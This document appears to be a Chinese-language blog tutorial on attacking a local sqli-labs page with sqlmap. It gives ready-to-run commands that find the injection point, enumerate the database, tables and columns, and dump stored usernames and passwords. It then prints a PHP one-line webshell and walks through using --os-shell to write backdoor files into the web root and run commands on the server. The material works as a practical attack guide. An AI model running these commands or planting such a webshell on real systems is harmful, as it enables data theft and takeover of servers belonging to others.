使用sqlmap进行SQL注入

1.扫描注入漏洞类型

语法:-u [url]

1
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1"

将我们要扫描的网站URL填入到命令中,运行后会输出结果:

image-20200707111806514

从结果中可以看到网站的注入点在id这里,是以GET的方式提交的,并且网站存在4中类型的SQL注入漏洞,分别是布尔型盲注、报错注入、时间型盲注和联合查询注入

2.查询数据库名

语法:-u [url] --current-db

1
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db

运行完成后会直接显示出当前使用的数据库

image-20200707112737101

3.查表名

语法:-u [url] -D [database_name] --tables

1
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables

工具会自动查出数据库中所包含的数据表

image-20200707133149836

4.查字段(可选)

查完数据表后就可以选一个我们需要的表进行下一步的查询

查询users表中存在的字段

语法:-u [url] -D [database_name] -T [table_name] --columns

1
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns

会将表中的所有字段都进行输出

image-20200707133845962

5.查数据

当我们拿到了字段名后,就可以爆破每个字段的数据了

语法:-u [url] -D [database_name] -T [table_name] -C [column_name] --dump

1
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C "username,password" --dump

我们选择了爆破username和password

image-20200707134431168

⚠当然我们可以直接跳过第4步爆破字段名,直接将数据表中的所有数据爆破出来

语法:-u [url] -D [database_name] -T [table_name] --dump

1
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --dump

image-20200707134858597

使用sqlmap上传一句话木马

一句话木马:

1
<?php @eval($_POST['qqq']); ?>

我们可以使用sqlmap将一句话木马文件利用SQL注入漏洞上传到服务器中,并且会利用这个木马获取目标主机shell。它使用的其实是select *** into outfile语句,这语句的意思是将查询的表的内容导出到一个文件中。sqlmap就是利用这个特点将一句话木马导出为php文件到网站的目录中。

来看一下sqlmap上传一句话木马并获取shell的语法

1
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell

运行后会提示选择web应用程序的语言

image-20200707173222233

这里我们对应选择第4个选项的PHP

然后会提示是否更深入泄露根路径,这里默认回车即可

再然后会让选择想要被写入木马文件的目录,选择第2个

image-20200707174042426

然后输入网站根目录的完整路径

对于具体路径的获取,可以通过网站的报错信息获得,也可以通过自动生成的phpinfo.php(PHP探针文件)获得

image-20200707175115679

对目录注入了木马文件之后,就可以直接获得目标服务器的shell了

image-20200707202404125

如果我们使用浏览器访问注入的第一个php文件,会发现sqlmap开启了一个文件上传后门,可以任意上传任意文件到网站目录

image-20200707202819227

如果访问第二个php文件,会提示未定义索引,并且会提示cmd是作为传入php文件的参数,猜测是POST方式的请求

image-20200707203446084

使用HackBar用POST方式提交cmd参数,可以看到页面有输出

image-20200707203648584